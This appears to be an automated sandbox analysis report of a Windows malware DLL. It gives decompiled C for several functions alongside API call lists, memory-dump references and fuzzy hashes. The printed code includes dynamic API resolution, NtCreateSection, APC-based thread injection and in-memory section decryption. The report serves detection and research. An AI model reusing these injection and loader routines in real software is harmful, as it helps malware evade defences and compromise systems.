Opcode Fuzzy Hash: de058c3b1136cbef67fed5916fd577b7202869c7ceb046d22ac8c0348d0491ba
Instruction Fuzzy Hash: 5E51567690020AEFDB11DFE8C88889EF7B6FFC8350B588829E605EB215D7319D45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 10001A0F, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001A0F(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E10001DE1(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x10004150 + 0x10005014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x10004150 + 0x10005151);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E10001DFC(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x10004150 + 0x10005161);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x10004150 + 0x10005174);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x10004150 + 0x10005189);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x10004150 + 0x1000519f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E10001EB5(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x10001a1d
0x10001a21
0x10001ae2
0x10001a27
0x10001a3f
0x10001a4e
0x10001a55
0x10001a59
0x10001a5c
0x10001ada
0x10001adb
0x10001a5e
0x10001a6b
0x10001a6f
0x10001a72
0x00000000
0x10001a74
0x10001a81
0x10001a85
0x10001a88
0x00000000
0x10001a8a
0x10001a97
0x10001a9b
0x10001a9e
0x00000000
0x10001aa0
0x10001aad
0x10001ab1
0x10001ab4
0x00000000
0x10001ab6
0x10001abc
0x10001ac2
0x10001ac7
0x10001ace
0x10001ad1
0x00000000
0x10001ad3
0x10001ad6
0x10001ad6
0x10001ad1
0x10001ab4
0x10001a9e
0x10001a88
0x10001a72
0x10001a5c
0x10001af0

APIs

Part of subcall function 10001DE1: HeapAlloc.KERNEL32(00000000,?,10001556,00000208,00000000,00000000,?,?,?,100016A9,?), ref: 10001DED

GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,10001E4D,?,?,?,?,?,00000002,?,10001401), ref: 10001A33
GetProcAddress.KERNEL32(00000000,?), ref: 10001A55
GetProcAddress.KERNEL32(00000000,?), ref: 10001A6B
GetProcAddress.KERNEL32(00000000,?), ref: 10001A81
GetProcAddress.KERNEL32(00000000,?), ref: 10001A97
GetProcAddress.KERNEL32(00000000,?), ref: 10001AAD

Part of subcall function 10001EB5: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,75144EE0,00000000,00000000,?), ref: 10001F12
Part of subcall function 10001EB5: memset.NTDLL ref: 10001F34

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$AllocCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 1632424568-0
Opcode ID: 4ec88815e77cd39fd923d72db13d571f8939319d025cdf8bbff59f143bb65112
Instruction ID: 8e690bc40ad544dced62eb57c6a0da5a983291de411777cdb34876cf766fb635
Opcode Fuzzy Hash: 4ec88815e77cd39fd923d72db13d571f8939319d025cdf8bbff59f143bb65112
Instruction Fuzzy Hash: 5F2117B1601B1AAFE750DFA9DC84EDB7BECEF493C07024466E905C7219EB31E9018B61

Uniqueness

Uniqueness Score: -1.00%

Function 10001AFA, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x10004108);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x1000410c;
						if( *0x1000410c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x10004118;
								if( *0x10004118 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x1000410c);
						}
						HeapDestroy( *0x10004110);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x10004108) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						_t41 = _t18;
						 *0x10004110 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x10004130 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E100012DC(E1000111A, E100015EE(_a12, 1, 0x10004118, _t41));
							 *0x1000410c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

0x10001afd
0x10001b09
0x10001b0b
0x10001b0e
0x10001b84
0x10001b8a
0x10001b8c
0x10001b8e
0x10001b94
0x10001b96
0x10001b9b
0x10001b9e
0x10001ba9
0x10001bab
0x00000000
0x00000000
0x10001bad
0x10001bb0
0x10001bb2
0x00000000
0x00000000
0x00000000
0x10001bb2
0x10001bba
0x10001bba
0x10001bc6
0x10001bc6
0x10001b10
0x10001b11
0x10001b31
0x10001b37
0x10001b39
0x10001b3e
0x10001b7a
0x10001b7a
0x10001b40
0x10001b48
0x10001b4f
0x10001b59
0x10001b65
0x10001b6c
0x10001b71
0x10001b76
0x00000000
0x10001b76
0x10001b71
0x10001b3e
0x10001b11
0x10001bd3

APIs

InterlockedIncrement.KERNEL32(10004108), ref: 10001B1C
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 10001B31

Part of subcall function 100012DC: CreateThread.KERNEL32 ref: 100012F3
Part of subcall function 100012DC: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001308
Part of subcall function 100012DC: GetLastError.KERNEL32(00000000), ref: 10001313
Part of subcall function 100012DC: TerminateThread.KERNEL32(00000000,00000000), ref: 1000131D
Part of subcall function 100012DC: CloseHandle.KERNEL32(00000000), ref: 10001324
Part of subcall function 100012DC: SetLastError.KERNEL32(00000000), ref: 1000132D

InterlockedDecrement.KERNEL32(10004108), ref: 10001B84
SleepEx.KERNEL32(00000064,00000001), ref: 10001B9E
CloseHandle.KERNEL32 ref: 10001BBA
HeapDestroy.KERNEL32 ref: 10001BC6

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
String ID:
API String ID: 2110400756-0
Opcode ID: b2735cd62b98c0fff9eadb96ecfab59fc7d8990f65d57987f5a6912bdf7ccd39
Instruction ID: f0df8185a4137bf23340b4e7eb087222ae8a4cbb436f36e741c86f19ce9e809b
Opcode Fuzzy Hash: b2735cd62b98c0fff9eadb96ecfab59fc7d8990f65d57987f5a6912bdf7ccd39
Instruction Fuzzy Hash: 922190B5601216AFF701DF69CCC4ACA7FE8FB642E07128129FA05D3168EB708D808B94

Uniqueness

Uniqueness Score: -1.00%

Function 01736A56, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E01736A56(void* __ecx, void* __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				void* _t10;
				void* _t12;
				int _t14;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t26;
				signed int _t33;

				_t26 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t10 = HeapCreate(0, 0x400000, 0); // executed
				 *0x173d238 = _t10;
				if(_t10 != 0) {
					 *0x173d1a8 = GetTickCount();
					_t12 = E01738F10(_a4);
					if(_t12 == 0) {
						do {
							GetSystemTimeAsFileTime( &_v12);
							_t14 = SwitchToThread();
							_t23 = _v12.dwHighDateTime;
							_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 7;
							_push(0);
							_push(9);
							_push(_t23 >> 7);
							_push(_t16);
							L0173B226();
							_t33 = _t14 + _t16;
							_t18 = E01737E03(_a4, _t33);
							_t19 = 2;
							_t25 = _t33;
							Sleep(_t19 << _t33); // executed
						} while (_t18 == 1);
						if(E01736B96(_t25) != 0) {
							 *0x173d260 = 1; // executed
						}
						_t12 = E0173225B(_t26); // executed
					}
				} else {
					_t12 = 8;
				}
				return _t12;
			}

0x01736a56
0x01736a5c
0x01736a5d
0x01736a69
0x01736a71
0x01736a76
0x01736a86
0x01736a8b
0x01736a92
0x01736a94
0x01736a99
0x01736a9f
0x01736aa5
0x01736aaf
0x01736ab3
0x01736ab5
0x01736aba
0x01736abb
0x01736abc
0x01736ac1
0x01736ac7
0x01736ad0
0x01736ad1
0x01736ad6
0x01736adc
0x01736ae8
0x01736aea
0x01736aea
0x01736af4
0x01736af4
0x01736a78
0x01736a7a
0x01736a7a
0x01736afe

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,0173807D,?), ref: 01736A69
GetTickCount.KERNEL32 ref: 01736A7D
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001,?,?,?,0173807D,?), ref: 01736A99
SwitchToThread.KERNEL32(?,00000001,?,?,?,0173807D,?), ref: 01736A9F
_aullrem.NTDLL(?,?,00000009,00000000), ref: 01736ABC
Sleep.KERNELBASE(00000002,00000000,?,00000001,?,?,?,0173807D,?), ref: 01736AD6

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapSleepSwitchSystemThreadTick_aullrem
String ID:
API String ID: 507476733-0
Opcode ID: 7073bce8c4cdbc02ad84ffb729badf5a65a98d738ff28e33af2fe3e13b89a453
Instruction ID: bee674a9f54547087a23cf768df933e1c79abd05bd7c5a7f5ed99406ed9005b9
Opcode Fuzzy Hash: 7073bce8c4cdbc02ad84ffb729badf5a65a98d738ff28e33af2fe3e13b89a453
Instruction Fuzzy Hash: 011108726442057FE730ABB5DC0DB1AFBD8EBC4361F10852AFA04D6185FBB0D6018762

Uniqueness

Uniqueness Score: -1.00%

Function 100012DC, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100012DC(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x1000414c, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}

0x100012f3
0x100012f9
0x100012fd
0x10001308
0x10001310
0x10001319
0x1000131d
0x10001324
0x1000132b
0x1000132d
0x10001333
0x10001310
0x10001337

APIs

CreateThread.KERNEL32 ref: 100012F3
QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001308
GetLastError.KERNEL32(00000000), ref: 10001313
TerminateThread.KERNEL32(00000000,00000000), ref: 1000131D
CloseHandle.KERNEL32(00000000), ref: 10001324
SetLastError.KERNEL32(00000000), ref: 1000132D

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: f944589a858edab2219560e62326191baa7f7a8351923321239c7166ab578a1d
Instruction ID: 31004d63c2960ea31e2c824d7a0ae826113ff2aaace5ecc64d275acbf5e6dd3f
Opcode Fuzzy Hash: f944589a858edab2219560e62326191baa7f7a8351923321239c7166ab578a1d
Instruction Fuzzy Hash: AAF0F232606631FBF6139BA08C98F9FBBADFB08BD1F01C404FA1591168CB3189109BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0173225B, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E0173225B(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				CHAR* _t46;
				void* _t49;
				void* _t51;
				CHAR* _t54;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t62;
				CHAR* _t65;
				CHAR* _t66;
				char* _t67;
				void* _t68;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E0173550E();
				if(_t21 != 0) {
					_t59 =  *0x173d25c; // 0x2000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x173d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x173d164(0, 2);
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E01733D0D( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x173d27c; // 0x268a5a8
					if( *0x173d25c > 5) {
						_t8 = _t26 + 0x173e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x173ea15; // 0x44283a44
						_t27 = _t7;
					}
					E01731BF4(_t27, _t27);
					_t31 = E01731B2F(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t62 = 5;
					if(_t54 != _t62) {
						 *0x173d270 =  *0x173d270 ^ 0x81bbe65d;
						_t32 = E01732049(0x60);
						__eflags = _t32;
						 *0x173d32c = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x173d32c; // 0x3dc95b0
							_t68 = _t68 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x173d32c; // 0x3dc95b0
							 *_t51 = 0x173e836;
						}
						__eflags = 0;
						_t54 = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x173d238, 0, 0x43);
							__eflags = _t36;
							 *0x173d2c4 = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x173d25c; // 0x2000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x173d27c; // 0x268a5a8
								_t13 = _t58 + 0x173e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x173c2a7);
							}
							__eflags = 0;
							_t54 = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E0173269C( ~_v8 &  *0x173d270, 0x173d00c); // executed
								_t42 = E01734094(_t55); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E017396A4(_t55); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t65 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E01736786(_t61, _t65, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t65;
									if(__eflags == 0) {
										goto L30;
									}
									_t46 = E01733DD9(__eflags,  &(_t65[4])); // executed
									_t54 = _t46;
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t66 = _v12;
						if(_t66 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x173d160();
							}
							goto L34;
						}
						_t67 =  &(_t66[4]);
						do {
						} while (E0173A501(_t62, _t67, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x0173225b
0x01732266
0x01732269
0x0173226c
0x0173226f
0x01732276
0x01732278
0x01732284
0x01732286
0x01732286
0x0173228f
0x01732297
0x0173229a
0x017322b4
0x017322c0
0x017322c2
0x017322c7
0x017322d1
0x017322d1
0x017322c9
0x017322c9
0x017322c9
0x017322c9
0x017322d8
0x017322e5
0x017322ec
0x017322f1
0x017322f1
0x017322f9
0x017322fc
0x01732322
0x0173232e
0x01732333
0x01732335
0x0173233a
0x01732366
0x01732368
0x0173233c
0x01732340
0x01732345
0x0173234a
0x01732351
0x01732357
0x0173235c
0x01732362
0x01732369
0x0173236b
0x0173236d
0x0173237c
0x01732382
0x01732384
0x01732389
0x017323b9
0x017323bb
0x0173238b
0x0173238b
0x01732391
0x0173239e
0x017323a4
0x017323a4
0x017323ac
0x017323b5
0x017323bc
0x017323be
0x017323c0
0x017323c7
0x017323d4
0x017323d9
0x017323de
0x017323e0
0x017323e2
0x00000000
0x00000000
0x017323e4
0x017323e9
0x017323eb
0x017323f2
0x017323f6
0x017323f9
0x0173240e
0x01732412
0x01732417
0x00000000
0x01732417
0x017323fb
0x017323fd
0x00000000
0x00000000
0x01732403
0x01732408
0x0173240a
0x0173240c
0x00000000
0x00000000
0x00000000
0x0173240c
0x017323ef
0x017323ef
0x017323c0
0x017322fe
0x017322fe
0x01732303
0x01732419
0x0173241d
0x01732425
0x01732425
0x00000000
0x0173241d
0x01732309
0x0173230c
0x01732316
0x0173231d
0x00000000
0x0173242d
0x0173242d
0x01732431
0x01732435
0x01732435

APIs

Part of subcall function 0173550E: GetModuleHandleA.KERNEL32(4C44544E,00000000,01732274,00000000,00000000), ref: 0173551D

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 017322F1

Part of subcall function 01732049: RtlAllocateHeap.NTDLL(00000000,00000000,01737E50), ref: 01732055

memset.NTDLL ref: 01732340
RtlInitializeCriticalSection.NTDLL(03DC9570), ref: 01732351

Part of subcall function 01733DD9: memset.NTDLL ref: 01733DEE
Part of subcall function 01733DD9: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 01733E22
Part of subcall function 01733DD9: StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 01733E2D

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 0173237C
wsprintfA.USER32 ref: 017323AC

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: 5a43f6009fd1d936ae40a4742d51b13d255534782923fe8e723ff89673d0afd2
Instruction ID: 1ddfdaec4c4cf2a0f3eee7102fb544356a1244e53e54d6f1cd927ef7ae81dd57
Opcode Fuzzy Hash: 5a43f6009fd1d936ae40a4742d51b13d255534782923fe8e723ff89673d0afd2
Instruction Fuzzy Hash: 9E51F7B1B04219EBDB319BE8DC88A6EF7B8AB84721F508466F602D7147EB74D9448B50

Uniqueness

Uniqueness Score: -1.00%

Function 01733AEF, Relevance: 6.1, APIs: 4, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 01733B46
SysAllocString.OLEAUT32(01731885), ref: 01733B89
SysFreeString.OLEAUT32(00000000), ref: 01733B9D
SysFreeString.OLEAUT32(00000000), ref: 01733BAB

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 8dfe4b93f89db1184e8985c7c085cd8ca6f4f430a3fb472fb0709a1b94cbdb60
Instruction ID: f433c6228017b5c6949dd5f9970ca0c8ec9b3d0de0c9b2097e94fd8aca4b86f5
Opcode Fuzzy Hash: 8dfe4b93f89db1184e8985c7c085cd8ca6f4f430a3fb472fb0709a1b94cbdb60
Instruction Fuzzy Hash: 87312FB2900109EFCB25CF98D8C48EEBBB5FF88351B10846EF90AA7211D7359645CF61

Uniqueness

Uniqueness Score: -1.00%

Function 100018F4, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E100018F4(void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				unsigned int _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				signed int _v44;
				signed int _v48;
				intOrPtr _t39;
				void* _t46;
				intOrPtr _t47;
				intOrPtr _t50;
				signed int _t59;
				signed int _t61;
				intOrPtr _t66;
				intOrPtr _t77;
				void* _t78;
				signed int _t80;

				_t77 =  *0x10004130;
				_t39 = E10001F5D(_t77,  &_v20,  &_v12);
				_v16 = _t39;
				if(_t39 == 0) {
					asm("sbb ebx, ebx");
					_t59 =  ~( ~(_v12 & 0x00000fff)) + (_v12 >> 0xc);
					_t78 = _t77 + _v20;
					_v36 = _t78;
					_t46 = VirtualAlloc(0, _t59 << 0xc, 0x3000, 4); // executed
					_v24 = _t46;
					if(_t46 == 0) {
						_v16 = 8;
					} else {
						_t61 = 0;
						if(_t59 <= 0) {
							_t47 =  *0x1000414c;
						} else {
							_t66 = _a4;
							_t50 = _t46 - _t78;
							_t11 = _t66 + 0x100051a7; // 0x100051a7
							_v28 = _t50;
							_v32 = _t50 + _t11;
							_v8 = _t78;
							while(1) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t19 = _t61 + 1; // 0x2
								_t80 = _t19;
								E100018C4(_v8 + _t50, _v8, (_v48 ^ _v44) + _v20 + _a4 >> _t80);
								_t64 = _v32;
								_v8 = _v8 + 0x1000;
								_t47 =  *((intOrPtr*)(_v32 + 0xc)) -  *((intOrPtr*)(_t64 + 8)) +  *((intOrPtr*)(_t64 + 4));
								_t61 = _t80;
								 *0x1000414c = _t47;
								if(_t61 >= _t59) {
									break;
								}
								_t50 = _v28;
							}
						}
						if(_t47 != 0x63699bc3) {
							_v16 = 0xc;
						} else {
							memcpy(_v36, _v24, _v12);
						}
						VirtualFree(_v24, 0, 0x8000); // executed
					}
				}
				return _v16;
			}

0x100018fb
0x1000190b
0x10001912
0x10001915
0x1000192a
0x10001931
0x10001936
0x10001947
0x1000194a
0x10001952
0x10001955
0x100019ff
0x1000195b
0x1000195b
0x1000195f
0x100019c7
0x10001961
0x10001961
0x10001964
0x10001966
0x1000196e
0x10001971
0x10001974
0x1000197c
0x10001984
0x10001985
0x10001986
0x1000198d
0x1000198d
0x100019a1
0x100019a6
0x100019af
0x100019b6
0x100019b9
0x100019bd
0x100019c2
0x00000000
0x00000000
0x10001979
0x10001979
0x100019c4
0x100019d1
0x100019e6
0x100019d3
0x100019dc
0x100019e1
0x100019f7
0x100019f7
0x10001a06
0x10001a0c

APIs

VirtualAlloc.KERNELBASE(00000000,1000167D,00003000,00000004,?,?,1000167D,00000000), ref: 1000194A
memcpy.NTDLL(?,?,1000167D,?,?,1000167D,00000000), ref: 100019DC
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,1000167D,00000000), ref: 100019F7

Strings

Mar 9 2021, xrefs: 1000197C

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Mar 9 2021
API String ID: 4010158826-2159264323
Opcode ID: a02594a73b1b769850a39e6d0cf862abb4b58f68e535dbed4b7f3a649922de48
Instruction ID: d25fb31f2c2add74eafa799964551cc2416acfdb7abcc9e218ddf36d438f9e1f
Opcode Fuzzy Hash: a02594a73b1b769850a39e6d0cf862abb4b58f68e535dbed4b7f3a649922de48
Instruction Fuzzy Hash: 4D315271E0111A9FEB01CF99C891ADEBBF5EF48384F108169E904A7259D771AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01731A70, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E01731A70(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E01732049(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16); // executed
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x01731a7c
0x01731a80
0x01731a81
0x01731a82
0x01731a84
0x01731a86
0x01731a8b
0x01731a8e
0x01731b25
0x01731b2c
0x01731b2c
0x01731a97
0x01731a9e
0x01731aae
0x01731aae
0x01731ab4
0x01731ab6
0x01731abb
0x01731ac4
0x01731acc
0x01731acf
0x01731ada
0x01731ade
0x01731ae0
0x01731ae1
0x01731aea
0x01731aee
0x01731aff
0x01731af0
0x01731af5
0x01731afa
0x01731b09
0x01731b09
0x01731ade
0x01731b0f
0x01731b15
0x01731b15
0x01731b1e
0x01731b23
0x01731b23
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 01731A9E
lstrlenW.KERNEL32(?), ref: 01731AD4
memcpy.NTDLL(00000000,?,?,?), ref: 01731AF5
SysFreeString.OLEAUT32(?), ref: 01731B09

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: 354a59d5fb9f6e1b8d4206ef0aa3e20e6544ed05b0d8ba653e09fef3f2ce14fa
Instruction ID: 7765903feb20f606c0a36029f4950427dd1c0621591136e98cc54038501c92ce
Opcode Fuzzy Hash: 354a59d5fb9f6e1b8d4206ef0aa3e20e6544ed05b0d8ba653e09fef3f2ce14fa
Instruction Fuzzy Hash: E8215075A00209EFDB11DFA8D888DDEFBB9FF89311B1081A9E905E7215EB30DA45CB50

Uniqueness

